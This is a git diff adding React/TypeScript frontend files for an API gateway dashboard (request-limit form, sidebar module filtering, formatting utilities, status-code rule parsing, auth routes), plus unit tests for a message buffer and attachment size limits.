+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='maxRequests'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>
+                    {t('Max Requests (including failures)')}
+                  </FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={0}
+                        max={2147483647}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 0)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Total requests allowed per period. 0 = unlimited.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='maxSuccess'
+              render={({ field }) => (
+                <FormItem>
+                  <FormLabel>{t('Max Successful Requests')}</FormLabel>
+                  <FormControl>
+                    <div className='flex items-center gap-2'>
+                      <Input
+                        type='number'
+                        min={1}
+                        max={2147483647}
+                        step={1}
+                        {...field}
+                        onChange={(e) =>
+                          field.onChange(parseInt(e.target.value) || 1)
+                        }
+                      />
+                      <span className='text-muted-foreground text-sm'>
+                        {t('times')}
+                      </span>
+                    </div>
+                  </FormControl>
+                  <FormDescription>
+                    {t('Only successful requests count toward this limit.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <DialogFooter>
+              <Button
+                type='button'
+                variant='outline'
+                onClick={() => onOpenChange(false)}
+              >
+                {t('Cancel')}
+              </Button>
+              <Button type='submit'>
+                {isEditMode ? t('Update') : t('Add')}
+              </Button>
+            </DialogFooter>
+          </form>
+        </Form>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/hooks/use-countdown.ts b/_all-in-one-upload/new-api/web/default/src/hooks/use-countdown.ts
new file mode 100644
index 0000000..c376a50
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/hooks/use-countdown.ts
@@ -0,0 +1,56 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+export interface UseCountdownOptions {
+  initialSeconds?: number
+  autoStart?: boolean
+}
+
+export function useCountdown(options: UseCountdownOptions = {}) {
+  const { initialSeconds = 30, autoStart = false } = options
+  const [secondsLeft, setSecondsLeft] = useState<number>(initialSeconds)
+  const [isActive, setIsActive] = useState<boolean>(autoStart)
+  const timerRef = useRef<number | null>(null)
+
+  const clearTimer = useCallback(() => {
+    if (timerRef.current) {
+      window.clearInterval(timerRef.current)
+      timerRef.current = null
+    }
+  }, [])
+
+  const stop = useCallback(() => {
+    clearTimer()
+    setIsActive(false)
+  }, [clearTimer])
+
+  const start = useCallback(
+    (seconds?: number) => {
+      const total = seconds ?? initialSeconds
+      setSecondsLeft(total)
+      setIsActive(true)
+      clearTimer()
+      timerRef.current = window.setInterval(() => {
+        setSecondsLeft((s) => {
+          if (s <= 1) {
+            clearTimer()
+            setIsActive(false)
+            return initialSeconds
+          }
+          return s - 1
+        })
+      }, 1000)
+    },
+    [clearTimer, initialSeconds]
+  )
+
+  const reset = useCallback(() => {
+    stop()
+    setSecondsLeft(initialSeconds)
+  }, [initialSeconds, stop])
+
+  useEffect(() => {
+    return () => clearTimer()
+  }, [clearTimer])
+
+  return { secondsLeft, isActive, start, stop, reset }
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/hooks/use-sidebar-config.ts b/_all-in-one-upload/new-api/web/default/src/hooks/use-sidebar-config.ts
new file mode 100644
index 0000000..05b8a11
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/hooks/use-sidebar-config.ts
@@ -0,0 +1,273 @@
+import { useMemo } from 'react'
+import { useAuthStore } from '@/stores/auth-store'
+import { useStatus } from '@/hooks/use-status'
+import type { NavGroup, NavItem } from '@/components/layout/types'
+
+type SidebarSectionConfig = {
+  enabled: boolean
+  [key: string]: boolean
+}
+
+type SidebarModulesAdminConfig = Record<string, SidebarSectionConfig>
+
+// User-layer config is shape-identical to admin, but may be null
+// to signal "no narrowing" (empty/invalid/legacy users).
+type SidebarModulesUserConfig = SidebarModulesAdminConfig | null
+
+/**
+ * Default sidebar modules configuration
+ */
+const DEFAULT_SIDEBAR_MODULES: SidebarModulesAdminConfig = {
+  chat: {
+    enabled: true,
+    playground: true,
+    chat: true,
+  },
+  console: {
+    enabled: true,
+    detail: true,
+    token: true,
+    log: true,
+    midjourney: true,
+    task: true,
+  },
+  personal: {
+    enabled: true,
+    topup: true,
+    personal: true,
+  },
+  admin: {
+    enabled: true,
+    channel: true,
+    models: true,
+    redemption: true,
+    user: true,
+    setting: true,
+    subscription: true,
+  },
+}
+
+/**
+ * Mapping from URL to configuration keys
+ */
+const URL_TO_CONFIG_MAP: Record<string, { section: string; module: string }> = {
+  '/playground': { section: 'chat', module: 'playground' },
+  '/dashboard': { section: 'console', module: 'detail' },
+  '/dashboard/overview': { section: 'console', module: 'detail' },
+  '/dashboard/models': { section: 'console', module: 'detail' },
+  '/dashboard/users': { section: 'console', module: 'detail' },
+  '/keys': { section: 'console', module: 'token' },
+  '/usage-logs': { section: 'console', module: 'log' },
+  '/usage-logs/common': { section: 'console', module: 'log' },
+  '/usage-logs/drawing': { section: 'console', module: 'midjourney' },
+  '/usage-logs/task': { section: 'console', module: 'task' },
+  '/wallet': { section: 'personal', module: 'topup' },
+  '/profile': { section: 'personal', module: 'personal' },
+  '/channels': { section: 'admin', module: 'channel' },
+  '/models': { section: 'admin', module: 'models' },
+  '/models/metadata': { section: 'admin', module: 'models' },
+  '/models/deployments': { section: 'admin', module: 'models' },
+  '/users': { section: 'admin', module: 'user' },
+  '/redemption-codes': { section: 'admin', module: 'redemption' },
+  '/subscriptions': { section: 'admin', module: 'subscription' },
+}
+
+/**
+ * Parse backend SidebarModulesAdmin configuration
+ */
+function parseSidebarConfig(
+  value: string | null | undefined
+): SidebarModulesAdminConfig {
+  // If empty string, null, or undefined, use default config
+  if (!value || value.trim() === '') {
+    return DEFAULT_SIDEBAR_MODULES
+  }
+
+  try {
+    const parsed = JSON.parse(value) as SidebarModulesAdminConfig
+    // Ensure chat section and its modules are correctly initialized if missing
+    if (!parsed.chat) {
+      parsed.chat = { enabled: true, playground: true, chat: true }
+    } else {
+      if (parsed.chat.enabled === undefined) parsed.chat.enabled = true
+      if (parsed.chat.playground === undefined) parsed.chat.playground = true
+      if (parsed.chat.chat === undefined) parsed.chat.chat = true
+    }
+    return parsed
+  } catch {
+    // eslint-disable-next-line no-console
+    console.error('Failed to parse sidebar modules configuration')
+    return DEFAULT_SIDEBAR_MODULES
+  }
+}
+
+/**
+ * Parse user-level sidebar_modules. Returns null when the value is empty,
+ * invalid, or otherwise unusable — the caller treats null as "do not narrow",
+ * so legacy users with an empty sidebar_modules field keep the full admin view.
+ */
+function parseUserSidebarConfig(
+  value: string | null | undefined
+): SidebarModulesUserConfig {
+  if (!value || value.trim() === '') {
+    return null
+  }
+  try {
+    const parsed = JSON.parse(value) as SidebarModulesAdminConfig
+    if (!parsed || typeof parsed !== 'object') return null
+    return parsed
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Check if a module is enabled. Admin config is the first (authoritative)
+ * layer: if admin disables a section/module it is always hidden. User config
+ * is a second narrower layer: it can only further hide what admin allowed.
+ * A null user config means "do not narrow" (legacy/empty users).
+ */
+function isModuleEnabled(
+  url: string,
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): boolean {
+  const mapping = URL_TO_CONFIG_MAP[url]
+  if (!mapping) {
+    // No mapping config, default to visible (e.g. system settings and new features)
+    return true
+  }
+
+  const { section, module } = mapping
+  const adminSection = adminConfig[section]
+  const adminAllowed = Boolean(
+    adminSection && adminSection.enabled && adminSection[module] === true
+  )
+  if (!adminAllowed) return false
+
+  if (!userConfig) return true
+
+  const userSection = userConfig[section]
+  if (!userSection) return true
+  if (userSection.enabled === false) return false
+  return userSection[module] !== false
+}
+
+/**
+ * Check if a navigation item should be visible
+ */
+function isNavItemVisible(
+  item: NavItem,
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): boolean {
+  // Handle dynamic chat presets type — also runs the admin × user AND gate
+  if ('type' in item && item.type === 'chat-presets') {
+    const adminChat = adminConfig.chat
+    const adminAllowed = Boolean(adminChat?.enabled && adminChat.chat === true)
+    if (!adminAllowed) return false
+    if (!userConfig) return true
+    const userChat = userConfig.chat
+    if (!userChat) return true
+    if (userChat.enabled === false) return false
+    return userChat.chat !== false
+  }
+
+  // Handle direct link type
+  if ('url' in item && item.url) {
+    const configUrls = item.configUrls ?? [item.url]
+    return configUrls.some((url) =>
+      isModuleEnabled(url as string, adminConfig, userConfig)
+    )
+  }
+
+  // Handle collapsible type (with sub-items)
+  if ('items' in item && item.items) {
+    // If has sub-items, show this collapsible item if at least one sub-item is visible
+    return item.items.some((subItem) =>
+      isModuleEnabled(subItem.url as string, adminConfig, userConfig)
+    )
+  }
+
+  return true
+}
+
+/**
+ * Filter navigation items
+ */
+function filterNavItems(
+  items: NavItem[],
+  adminConfig: SidebarModulesAdminConfig,
+  userConfig: SidebarModulesUserConfig
+): NavItem[] {
+  return items
+    .map((item) => {
+      // If collapsible item, also filter its sub-items
+      if ('items' in item && item.items) {
+        const filteredSubItems = item.items.filter((subItem) =>
+          isModuleEnabled(subItem.url as string, adminConfig, userConfig)
+        )
+
+        return {
+          ...item,
+          items: filteredSubItems,
+        }
+      }
+      return item
+    })
+    .filter((item) => isNavItemVisible(item, adminConfig, userConfig))
+}
+
+/**
+ * Filter sidebar navigation groups by admin × user sidebar_modules config.
+ *
+ * Two layers, AND-combined:
+ *   1. Admin (status.SidebarModulesAdmin) — authoritative, falls back to
+ *      DEFAULT_SIDEBAR_MODULES when empty/invalid. Disabling here hides the
+ *      item for everyone regardless of user preference.
+ *   2. User (auth.user.sidebar_modules) — narrower overlay, null sentinel
+ *      means "don't narrow". A section/module is only hidden if the user
+ *      explicitly set it to false; undefined fields default to visible so
+ *      legacy users with empty sidebar_modules keep the full admin view.
+ *      The overlay is also skipped entirely when the backend tells us the
+ *      user cannot configure sidebar_settings (e.g. root accounts), so a
+ *      stale historical value cannot lock them out of entries they have no
+ *      UI to restore.
+ */
+export function useSidebarConfig(navGroups: NavGroup[]): NavGroup[] {
+  const { status } = useStatus()
+  const { auth } = useAuthStore()
+
+  const adminConfig = useMemo(
+    () =>
+      parseSidebarConfig(
+        status?.SidebarModulesAdmin as string | null | undefined
+      ),
+    [status?.SidebarModulesAdmin]
+  )
+
+  const userConfig = useMemo(() => {
+    // If the backend marks the user as unable to configure the sidebar
+    // (e.g. root accounts), skip the user overlay entirely — a stale
+    // historical sidebar_modules value from a previous role would otherwise
+    // hide admin entries for someone who has no in-product UI to restore
+    // them.
+    if (auth?.user?.permissions?.sidebar_settings === false) {
+      return null
+    }
+    return parseUserSidebarConfig(auth?.user?.sidebar_modules)
+  }, [auth?.user?.permissions?.sidebar_settings, auth?.user?.sidebar_modules])
+
+  const filteredNavGroups = useMemo(
+    () =>
+      navGroups
+        .map((group) => ({
+          ...group,
+          items: filterNavItems(group.items, adminConfig, userConfig),
+        }))
+        .filter((group) => group.items.length > 0), // Only show navigation groups with visible items
+    [navGroups, adminConfig, userConfig]
+  )
+
+  return filteredNavGroups
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/i18n/locales/_reports/_sync-report.json b/_all-in-one-upload/new-api/web/default/src/i18n/locales/_reports/_sync-report.json
new file mode 100644
index 0000000..9386200
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/i18n/locales/_reports/_sync-report.json
@@ -0,0 +1,41 @@
+{
+  "base": "en.json",
+  "locales": {
+    "en": {
+      "file": "en.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "fr": {
+      "file": "fr.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "ja": {
+      "file": "ja.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 84
+    },
+    "ru": {
+      "file": "ru.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 88
+    },
+    "vi": {
+      "file": "vi.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 0
+    },
+    "zh": {
+      "file": "zh.json",
+      "missingCount": 0,
+      "extrasCount": 0,
+      "untranslatedCount": 96
+    }
+  }
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/lib/format.ts b/_all-in-one-upload/new-api/web/default/src/lib/format.ts
new file mode 100644
index 0000000..1a20dff
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/lib/format.ts
@@ -0,0 +1,218 @@
+import dayjs from '@/lib/dayjs'
+import {
+  formatCurrencyFromUSD,
+  formatQuotaWithCurrency,
+  getCurrencyDisplay,
+} from './currency'
+
+// ============================================================================
+// Number Formatting
+// ============================================================================
+
+export function formatNumber(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, { maximumFractionDigits: 2 }).format(
+    value as number
+  )
+}
+
+export function formatCompactNumber(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, {
+    notation: 'compact',
+    maximumFractionDigits: 1,
+  }).format(value as number)
+}
+
+export function formatPercent(value: number | null | undefined): string {
+  if (value == null || Number.isNaN(value as number)) return '-'
+  return Intl.NumberFormat(undefined, {
+    style: 'percent',
+    maximumFractionDigits: 2,
+  }).format((value as number) / 100)
+}
+
+export function formatCurrencyUSD(value: number | null | undefined): string {
+  return formatCurrencyFromUSD(value == null ? null : (value as number))
+}
+
+// ============================================================================
+// Quota Formatting (500,000 units = $1)
+// ============================================================================
+
+/**
+ * Format quota into the configured display amount.
+ * Quota is stored in units where `quotaPerUnit` equals 1 USD.
+ */
+export function formatQuota(quota: number): string {
+  return formatQuotaWithCurrency(quota, {
+    digitsLarge: 2,
+    digitsSmall: 4,
+    abbreviate: true,
+  })
+}
+
+/**
+ * Parse quota from the current display input back to quota units.
+ */
+export function parseQuotaFromDollars(amount: number): number {
+  if (!Number.isFinite(amount)) return 0
+
+  const { config, meta } = getCurrencyDisplay()
+
+  // Tokens-only or raw quota mode
+  if (meta.kind === 'tokens') {
+    return Math.round(amount)
+  }
+
+  const exchangeRate =
+    meta.kind === 'currency' || meta.kind === 'custom' ? meta.exchangeRate : 1
+
+  const usdAmount = exchangeRate > 0 ? amount / exchangeRate : amount
+
+  return Math.round(usdAmount * config.quotaPerUnit)
+}
+
+/**
+ * Convert quota units to the configured display amount.
+ * Reverse of parseQuotaFromDollars.
+ */
+export function quotaUnitsToDollars(units: number): number {
+  const { config, meta } = getCurrencyDisplay()
+
+  if (meta.kind === 'tokens') {
+    return units
+  }
+
+  const usdAmount = units / config.quotaPerUnit
+  const exchangeRate =
+    meta.kind === 'currency' || meta.kind === 'custom' ? meta.exchangeRate : 1
+
+  return usdAmount * exchangeRate
+}
+
+// ============================================================================
+// Timestamp Formatting
+// ============================================================================
+
+/**
+ * Format Unix timestamp (seconds) to YYYY-MM-DD HH:mm:ss
+ */
+export function formatTimestamp(timestamp: number): string {
+  if (timestamp === -1) {
+    return 'Never'
+  }
+  return formatTimestampToDate(timestamp)
+}
+
+/**
+ * Format timestamp to YYYY-MM-DD HH:mm:ss
+ * @param timestamp - Timestamp in seconds or milliseconds
+ * @param unit - Unit of the timestamp ('seconds' or 'milliseconds')
+ */
+export function formatTimestampToDate(
+  timestamp?: number,
+  unit: 'seconds' | 'milliseconds' = 'seconds'
+): string {
+  if (!timestamp || timestamp === -1 || timestamp === 0) {
+    return '-'
+  }
+  const ms = unit === 'seconds' ? timestamp * 1000 : timestamp
+  return dayjs(ms).format('YYYY-MM-DD HH:mm:ss')
+}
+
+/** Format a Date object to YYYY-MM-DD HH:mm:ss */
+export function formatDateTimeStr(date: Date): string {
+  return dayjs(date).format('YYYY-MM-DD HH:mm:ss')
+}
+
+/** Format a Date object to YYYY-MM-DD */
+export function formatDateStr(date: Date): string {
+  return dayjs(date).format('YYYY-MM-DD')
+}
+
+/** Format a Date object to HH:mm:ss */
+export function formatTimeStr(date: Date): string {
+  return dayjs(date).format('HH:mm:ss')
+}
+
+/**
+ * Format quota for usage logs with higher precision
+ * Uses 6 decimal places to show very small costs accurately
+ */
+export function formatLogQuota(quota: number): string {
+  return formatQuotaWithCurrency(quota, {
+    digitsLarge: 4,
+    digitsSmall: 6,
+    abbreviate: false,
+  })
+}
+
+/**
+ * Format tokens count with K/M suffixes
+ */
+export function formatTokens(tokens: number): string {
+  if (tokens === 0) return '-'
+  if (tokens < 1000) return tokens.toString()
+  if (tokens < 1000000) return `${(tokens / 1000).toFixed(1)}K`
+  return `${(tokens / 1000000).toFixed(2)}M`
+}
+
+/**
+ * Format use time in seconds with appropriate unit
+ */
+export function formatUseTime(seconds: number): string {
+  if (seconds < 60) return `${seconds.toFixed(1)}s`
+  const minutes = Math.floor(seconds / 60)
+  const remainingSeconds = seconds % 60
+  return `${minutes}m ${remainingSeconds.toFixed(0)}s`
+}
+
+/**
+ * Format timestamp to date input value (YYYY-MM-DDTHH:mm)
+ */
+export function formatTimestampForInput(timestamp: number): string {
+  if (timestamp === -1) {
+    return ''
+  }
+  return dayjs(timestamp * 1000).format('YYYY-MM-DDTHH:mm')
+}
+
+/**
+ * Parse datetime-local input to Unix timestamp
+ */
+export function parseTimestampFromInput(value: string): number {
+  if (!value) {
+    return -1
+  }
+  const date = new Date(value)
+  return Math.floor(date.getTime() / 1000)
+}
+
+// ============================================================================
+// Color Generation
+// ============================================================================
+
+/**
+ * Generate a consistent color from a string
+ * Uses HSL for better color distribution
+ */
+export function stringToColor(str: string): string {
+  if (!str) return 'gray'
+
+  // Generate hash from string
+  let hash = 0
+  for (let i = 0; i < str.length; i++) {
+    hash = str.charCodeAt(i) + ((hash << 5) - hash)
+    hash = hash & hash // Convert to 32-bit integer
+  }
+
+  // Use hash to generate hue (0-360)
+  const hue = Math.abs(hash % 360)
+
+  // Use saturation and lightness that work well for tags
+  const saturation = 65 + (Math.abs(hash) % 10) // 65-75%
+  const lightness = 55 + (Math.abs(hash >> 8) % 10) // 55-65%
+
+  return `hsl(${hue}, ${saturation}%, ${lightness}%)`
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/lib/http-status-code-rules.ts b/_all-in-one-upload/new-api/web/default/src/lib/http-status-code-rules.ts
new file mode 100644
index 0000000..f26797d
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/lib/http-status-code-rules.ts
@@ -0,0 +1,118 @@
+export type StatusCodeRange = {
+  start: number
+  end: number
+}
+
+export type ParsedHttpStatusCodeRules = {
+  ok: boolean
+  ranges: StatusCodeRange[]
+  tokens: string[]
+  normalized: string
+  invalidTokens: string[]
+}
+
+export function parseHttpStatusCodeRules(
+  input: unknown
+): ParsedHttpStatusCodeRules {
+  const raw = (input ?? '').toString().trim()
+  if (raw.length === 0) {
+    return {
+      ok: true,
+      ranges: [],
+      tokens: [],
+      normalized: '',
+      invalidTokens: [],
+    }
+  }
+
+  const sanitized = raw.replace(/[，]/g, ',')
+  const segments = sanitized
+    .split(',')
+    .map((s) => s.trim())
+    .filter(Boolean)
+
+  const ranges: StatusCodeRange[] = []
+  const invalidTokens: string[] = []
+
+  for (const segment of segments) {
+    const parsed = parseToken(segment)
+    if (!parsed) {
+      invalidTokens.push(segment)
+    } else {
+      ranges.push(parsed)
+    }
+  }
+
+  if (invalidTokens.length > 0) {
+    return {
+      ok: false,
+      ranges: [],
+      tokens: [],
+      normalized: raw,
+      invalidTokens,
+    }
+  }
+
+  const merged = mergeRanges(ranges)
+  const tokens = merged.map((r) =>
+    r.start === r.end ? `${r.start}` : `${r.start}-${r.end}`
+  )
+  const normalized = tokens.join(',')
+
+  return {
+    ok: true,
+    ranges: merged,
+    tokens,
+    normalized,
+    invalidTokens: [],
+  }
+}
+
+function parseToken(token: string): StatusCodeRange | null {
+  const cleaned = token.trim().replace(/\s/g, '')
+  if (!cleaned) return null
+
+  const isValidCode = (code: number) =>
+    Number.isFinite(code) && code >= 100 && code <= 599
+
+  if (cleaned.includes('-')) {
+    const [a, b] = cleaned.split('-')
+    if (!isNumber(a) || !isNumber(b)) return null
+
+    const start = Number.parseInt(a, 10)
+    const end = Number.parseInt(b, 10)
+    if (!isValidCode(start) || !isValidCode(end) || start > end) return null
+
+    return { start, end }
+  }
+
+  if (!isNumber(cleaned)) return null
+  const code = Number.parseInt(cleaned, 10)
+  if (!isValidCode(code)) return null
+
+  return { start: code, end: code }
+}
+
+function isNumber(s: string) {
+  return typeof s === 'string' && /^\d+$/.test(s)
+}
+
+function mergeRanges(ranges: StatusCodeRange[]): StatusCodeRange[] {
+  if (ranges.length === 0) return []
+
+  const sorted = [...ranges].sort((a, b) =>
+    a.start !== b.start ? a.start - b.start : a.end - b.end
+  )
+
+  return sorted.reduce<StatusCodeRange[]>((merged, current) => {
+    const last = merged[merged.length - 1]
+
+    if (!last || current.start > last.end + 1) {
+      merged.push({ ...current })
+    } else {
+      last.end = Math.max(last.end, current.end)
+    }
+
+    return merged
+  }, [])
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/lib/vchart.ts b/_all-in-one-upload/new-api/web/default/src/lib/vchart.ts
new file mode 100644
index 0000000..0a8bdd2
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/lib/vchart.ts
@@ -0,0 +1,4 @@
+export const VCHART_OPTION = {
+  // 与老前端保持一致（浏览器环境渲染优化）
+  mode: 'desktop-browser',
+} as const
diff --git a/_all-in-one-upload/new-api/web/default/src/routes/(auth)/sign-in.tsx b/_all-in-one-upload/new-api/web/default/src/routes/(auth)/sign-in.tsx
new file mode 100644
index 0000000..fda57d0
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/routes/(auth)/sign-in.tsx
@@ -0,0 +1,23 @@
+import { z } from 'zod'
+import { createFileRoute, redirect } from '@tanstack/react-router'
+import { useAuthStore } from '@/stores/auth-store'
+import { SignIn } from '@/features/auth/sign-in'
+
+const searchSchema = z.object({
+  redirect: z.string().optional(),
+})
+
+export const Route = createFileRoute('/(auth)/sign-in')({
+  component: SignIn,
+  validateSearch: searchSchema,
+  beforeLoad: async ({ search }) => {
+    const { auth } = useAuthStore.getState()
+
+    // 如果已经有用户信息，说明已登录
+    if (auth.user) {
+      // 优先使用 redirect 参数（用户之前想去的地方）
+      // 否则跳转到 dashboard
+      throw redirect({ to: search?.redirect || '/dashboard' })
+    }
+  },
+})
diff --git a/_all-in-one-upload/new-api/web/default/src/routes/(auth)/user/reset.tsx b/_all-in-one-upload/new-api/web/default/src/routes/(auth)/user/reset.tsx
new file mode 100644
index 0000000..4619497
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/routes/(auth)/user/reset.tsx
@@ -0,0 +1,17 @@
+import { createFileRoute, useSearch } from '@tanstack/react-router'
+import {
+  ResetPasswordConfirm,
+  type ResetPasswordSearchParams,
+} from '@/features/auth/reset-password-confirm'
+
+export const Route = createFileRoute('/(auth)/user/reset')({
+  component: UserResetPassword,
+})
+
+function UserResetPassword() {
+  const search = useSearch({
+    from: '/(auth)/user/reset',
+  }) as ResetPasswordSearchParams
+
+  return <ResetPasswordConfirm email={search?.email} token={search?.token} />
+}
diff --git a/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/dashboard/index.tsx b/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/dashboard/index.tsx
new file mode 100644
index 0000000..78a688a
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/dashboard/index.tsx
@@ -0,0 +1,11 @@
+import { createFileRoute, redirect } from '@tanstack/react-router'
+import { DASHBOARD_DEFAULT_SECTION } from '@/features/dashboard/section-registry'
+
+export const Route = createFileRoute('/_authenticated/dashboard/')({
+  beforeLoad: () => {
+    throw redirect({
+      to: '/dashboard/$section',
+      params: { section: DASHBOARD_DEFAULT_SECTION },
+    })
+  },
+})
diff --git a/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/system-settings/content/$section.tsx b/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/system-settings/content/$section.tsx
new file mode 100644
index 0000000..752208c
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/default/src/routes/_authenticated/system-settings/content/$section.tsx
@@ -0,0 +1,21 @@
+import { createFileRoute, redirect } from '@tanstack/react-router'
+import { ContentSettings } from '@/features/system-settings/content'
+import {
+  CONTENT_DEFAULT_SECTION,
+  CONTENT_SECTION_IDS,
+} from '@/features/system-settings/content/section-registry.tsx'
+
+export const Route = createFileRoute(
+  '/_authenticated/system-settings/content/$section'
+)({
+  beforeLoad: ({ params }) => {
+    const validSections = CONTENT_SECTION_IDS as unknown as string[]
+    if (!validSections.includes(params.section)) {
+      throw redirect({
+        to: '/system-settings/content/$section',
+        params: { section: CONTENT_DEFAULT_SECTION },
+      })
+    }
+  },
+  component: ContentSettings,
+})
diff --git a/cc-haha/adapters/common/__tests__/message-buffer.test.ts b/cc-haha/adapters/common/__tests__/message-buffer.test.ts
new file mode 100644
index 0000000..e531bc6
--- /dev/null
+++ b/cc-haha/adapters/common/__tests__/message-buffer.test.ts
@@ -0,0 +1,84 @@
+import { describe, it, expect, beforeEach } from 'bun:test'
+import { MessageBuffer } from '../message-buffer.js'
+
+describe('MessageBuffer', () => {
+  it('accumulates text and flushes on complete', async () => {
+    const flushed: Array<{ text: string; isComplete: boolean }> = []
+    const buf = new MessageBuffer(
+      (text, isComplete) => { flushed.push({ text, isComplete }) },
+      500,  // 500ms interval
+      1000, // 1000 char threshold
+    )
+
+    buf.append('Hello ')
+    buf.append('World')
+    await buf.complete()
+
+    expect(flushed.length).toBeGreaterThanOrEqual(1)
+    const allText = flushed.map((f) => f.text).join('')
+    expect(allText).toBe('Hello World')
+    // Last flush should be marked complete
+    expect(flushed[flushed.length - 1]!.isComplete).toBe(true)
+  })
+
+  it('flushes when character threshold is reached', async () => {
+    const flushed: string[] = []
+    const buf = new MessageBuffer(
+      (text) => { flushed.push(text) },
+      10000, // very long interval (won't trigger)
+      10,    // 10 char threshold
+    )
+
+    buf.append('12345678901') // 11 chars > threshold
+
+    // Wait for microtask
+    await new Promise((r) => setTimeout(r, 10))
+    expect(flushed.length).toBeGreaterThanOrEqual(1)
+
+    buf.reset()
+  })
+
+  it('flushes on timer interval', async () => {
+    const flushed: string[] = []
+    const buf = new MessageBuffer(
+      (text) => { flushed.push(text) },
+      50, // 50ms interval
+      1000,
+    )
+
+    buf.append('hi')
+
+    // Wait for timer
+    await new Promise((r) => setTimeout(r, 80))
+    expect(flushed).toContain('hi')
+
+    buf.reset()
+  })
+
+  it('does not flush empty buffer on complete', async () => {
+    const flushed: string[] = []
+    const buf = new MessageBuffer(
+      (text) => { flushed.push(text) },
+    )
+
+    await buf.complete()
+    expect(flushed.length).toBe(0)
+  })
+
+  it('resets properly between messages', async () => {
+    const flushed: string[] = []
+    const buf = new MessageBuffer(
+      (text) => { flushed.push(text) },
+      500,
+      1000,
+    )
+
+    buf.append('first')
+    buf.reset()
+    buf.append('second')
+    await buf.complete()
+
+    const allText = flushed.map((f) => f).join('')
+    expect(allText).toBe('second')
+  })
+})
diff --git a/cc-haha/adapters/common/attachment/__tests__/attachment-limits.test.ts b/cc-haha/adapters/common/attachment/__tests__/attachment-limits.test.ts
new file mode 100644
index 0000000..32cea65
--- /dev/null
+++ b/cc-haha/adapters/common/attachment/__tests__/attachment-limits.test.ts
@@ -0,0 +1,52 @@
+import { describe, it, expect } from 'bun:test'
+import {
+  checkAttachmentLimit,
+  IMAGE_MAX_BYTES,
+  FILE_MAX_BYTES,
+  IMAGE_MIME_WHITELIST,
+} from '../attachment-limits.js'
+
+describe('checkAttachmentLimit', () => {
+  it('accepts a 1 MB PNG image', () => {
+    const result = checkAttachmentLimit('image', 1024 * 1024, 'image/png')
+    expect(result.ok).toBe(true)
+  })
+
+  it('rejects an 11 MB image as too_large', () => {
+    const result = checkAttachmentLimit('image', 11 * 1024 * 1024, 'image/png')
+    expect(result.ok).toBe(false)
+    if (!result.ok) {
+      expect(result.reason).toBe('too_large')
+      expect(result.hint).toContain('10')
+    }
+  })
+
+  it('rejects an unsupported image mime', () => {
+    const result = checkAttachmentLimit('image', 500_000, 'image/svg+xml')
+    expect(result.ok).toBe(false)
+    if (!result.ok) expect(result.reason).toBe('unsupported_mime')
+  })
+
+  it('rejects image/heic (not supported by Claude API)', () => {
+    const result = checkAttachmentLimit('image', 500_000, 'image/heic')
+    expect(result.ok).toBe(false)
+    if (!result.ok) expect(result.reason).toBe('unsupported_mime')
+  })
+
+  it('accepts a 10 MB PDF file', () => {
+    const result = checkAttachmentLimit('file', 10 * 1024 * 1024, 'application/pdf')
+    expect(result.ok).toBe(true)
+  })
+
+  it('rejects a 31 MB file as too_large', () => {
+    const result = checkAttachmentLimit('file', 31 * 1024 * 1024, 'application/pdf')
+    expect(result.ok).toBe(false)
+    if (!result.ok) expect(result.reason).toBe('too_large')
+  })
+
+  it('exposes the limits as exports', () => {
+    expect(IMAGE_MAX_BYTES).toBe(10 * 1024 * 1024)
+    expect(FILE_MAX_BYTES).toBe(30 * 1024 * 1024)
+    expect(IMAGE_MIME_WHITELIST).toContain('image/png')
+  })
+})
diff --git a/cc-haha/adapters/common/http-client.ts b/cc-haha/adapters/common/http-client.ts
new file mode 100644
index 0000000..f10606f
--- /dev/null
+++ b/cc-haha/adapters/common/http-client.ts
@@ -0,0 +1,146 @@
+export type RecentProject = {
+  projectPath: string
